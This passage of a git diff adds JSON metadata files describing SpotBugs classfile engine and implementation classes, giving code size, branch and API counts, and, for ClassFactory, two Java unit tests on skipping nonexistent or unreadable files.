Information/checkers/classfile/engine/bcel/DepthFirstSearchFactory.json new file mode 100644 index 0000000..e639bda --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/DepthFirstSearchFactory.json @@ -0,0 +1,13 @@ +{ + "name": "DepthFirstSearchFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/EngineRegistrar.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/EngineRegistrar.json new file mode 100644 index 0000000..6333b6e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/EngineRegistrar.json @@ -0,0 +1,13 @@ +{ + "name": "EngineRegistrar", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 7, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ExceptionSetFactoryFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ExceptionSetFactoryFactory.json new file mode 100644 index 0000000..c1c389a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ExceptionSetFactoryFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ExceptionSetFactoryFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/FinallyDuplicatesInfoFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/FinallyDuplicatesInfoFactory.json new file mode 100644 index 0000000..4193b7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/FinallyDuplicatesInfoFactory.json @@ -0,0 +1,13 @@ +{ + "name": "FinallyDuplicatesInfoFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 360, + "branches": 59, + "apis": 97, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ForwardTypeQualifierDataflowFactoryFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ForwardTypeQualifierDataflowFactoryFactory.json new file mode 100644 index 0000000..641185d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ForwardTypeQualifierDataflowFactoryFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ForwardTypeQualifierDataflowFactoryFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/IsNullValueDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/IsNullValueDataflowFactory.json new file mode 100644 index 0000000..539c9b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/IsNullValueDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullValueDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 5, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/JavaClassAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/JavaClassAnalysisEngine.json new file mode 100644 index 0000000..907b8f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/JavaClassAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "JavaClassAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 7, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LiveLocalStoreDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LiveLocalStoreDataflowFactory.json new file mode 100644 index 0000000..0fef6e0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LiveLocalStoreDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "LiveLocalStoreDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadDataflowFactory.json new file mode 100644 index 0000000..cb65554 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "LoadDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadedFieldSetFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadedFieldSetFactory.json new file mode 100644 index 0000000..a8794f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadedFieldSetFactory.json @@ -0,0 +1,13 @@ +{ + "name": "LoadedFieldSetFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 14, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockCheckerFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockCheckerFactory.json new file mode 100644 index 0000000..835680d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockCheckerFactory.json @@ -0,0 +1,13 @@ +{ + "name": "LockCheckerFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockDataflowFactory.json new file mode 100644 index 0000000..6afa7f1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "LockDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodBytecodeSetFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodBytecodeSetFactory.json new file mode 100644 index 0000000..36efd75 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodBytecodeSetFactory.json @@ -0,0 +1,13 @@ +{ + "name": "MethodBytecodeSetFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 4, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodFactory.json new file mode 100644 index 0000000..9a6eb85 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodFactory.json @@ -0,0 +1,13 @@ +{ + "name": "MethodFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodGenFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodGenFactory.json new file mode 100644 index 0000000..16f160d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodGenFactory.json @@ -0,0 +1,13 @@ +{ + "name": "MethodGenFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 9, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysis.json new file mode 100644 index 0000000..156cbf8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "NonExceptionDominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysisFactory.json new file mode 100644 index 0000000..3e13f3e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "NonExceptionDominatorsAnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 1, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysis.json new file mode 100644 index 0000000..bd467fe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "NonExceptionPostDominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysisFactory.json new file mode 100644 index 0000000..4a71f22 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "NonExceptionPostDominatorsAnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysis.json new file mode 100644 index 0000000..f7f5788 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "NonImplicitExceptionDominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysisFactory.json new file mode 100644 index 0000000..26a6eb1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "NonImplicitExceptionDominatorsAnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysis.json new file mode 100644 index 0000000..e3735ee --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "NonImplicitExceptionPostDominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysisFactory.json new file mode 100644 index 0000000..887abaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "NonImplicitExceptionPostDominatorsAnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ObligationDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ObligationDataflowFactory.json new file mode 100644 index 0000000..7eafe0a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ObligationDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 3, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ParameterSignatureListFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ParameterSignatureListFactory.json new file mode 100644 index 0000000..a6d2c43 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ParameterSignatureListFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ParameterSignatureListFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 4, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathDataflowFactory.json new file mode 100644 index 0000000..20e8306 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPathDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathTypeDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathTypeDataflowFactory.json new file mode 100644 index 0000000..6284422 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathTypeDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPathTypeDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReverseDepthFirstSearchFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReverseDepthFirstSearchFactory.json new file mode 100644 index 0000000..1d0dc07 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReverseDepthFirstSearchFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ReverseDepthFirstSearchFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 56, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/StoreDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/StoreDataflowFactory.json new file mode 100644 index 0000000..b41d019 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/StoreDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "StoreDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/TypeDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/TypeDataflowFactory.json new file mode 100644 index 0000000..5c1d399 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/TypeDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "TypeDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 8, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnconditionalValueDerefDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnconditionalValueDerefDataflowFactory.json new file mode 100644 index 0000000..a4d68c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnconditionalValueDerefDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "UnconditionalValueDerefDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 7, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedBytecodeCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedBytecodeCallback.json new file mode 100644 index 0000000..a26edfc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedBytecodeCallback.json @@ -0,0 +1,13 @@ +{ + "name": "UnpackedBytecodeCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCode.json new file mode 100644 index 0000000..b70ea68 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCode.json @@ -0,0 +1,13 @@ +{ + "name": "UnpackedCode", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 32, + "branches": 1, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCodeFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCodeFactory.json new file mode 100644 index 0000000..bdfbce2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCodeFactory.json @@ -0,0 +1,13 @@ +{ + "name": "UnpackedCodeFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UsagesRequiringNonNullValuesFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UsagesRequiringNonNullValuesFactory.json new file mode 100644 index 0000000..881c9f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UsagesRequiringNonNullValuesFactory.json @@ -0,0 +1,13 @@ +{ + "name": "UsagesRequiringNonNullValuesFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueNumberDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueNumberDataflowFactory.json new file mode 100644 index 0000000..ecd0f7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueNumberDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 8, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueRangeAnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueRangeAnalysisFactory.json new file mode 100644 index 0000000..bbb9316 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueRangeAnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ValueRangeAnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1009, + "branches": 142, + "apis": 225, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/package-info.json new file mode 100644 index 0000000..31d7cec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 1, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/package-info.json new file mode 100644 index 0000000..33a9194 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBase.json new file mode 100644 index 0000000..f7c9c2e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractScannableCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 155, + "branches": 6, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBaseEntry.json new file mode 100644 index 0000000..0345e3b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractScannableCodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AnalysisCache.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AnalysisCache.json new file mode 100644 index 0000000..d3a6667 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AnalysisCache.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisCache", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 525, + "branches": 50, + "apis": 74, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassFactory.json new file mode 100644 index 0000000..ba880b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassFactory.json @@ -0,0 +1,50 @@ +{ + "name": "ClassFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 9, + "apis": 15, + "test": [ + { + "description": "ignoreNonExistentFile", + "expected-problems": null, + "expected-linenumbers": [ + 54, + 60 + ], + "code": "@Test\n void ignoreNonExistentFile() throws Exception {\n File file = tempFile();\n file.delete();\n FilesystemCodeBaseLocator locator = buildLocator(file);\n assertHasNoCodeBase(ClassFactory.createFilesystemCodeBase(locator));\n }" + }, + { + "description": "ignoreUnreadableFile", + "expected-problems": null, + "expected-linenumbers": [ + 62, + 70 + ], + "code": "@Test\n void ignoreUnreadableFile() throws Exception {\n File file = createZipFile();\n file.deleteOnExit();\n file.setReadable(false);\n assumeFalse(file.canRead(), \"File cannot be marked as unreadable, skipping test.\");\n FilesystemCodeBaseLocator locator = buildLocator(file);\n 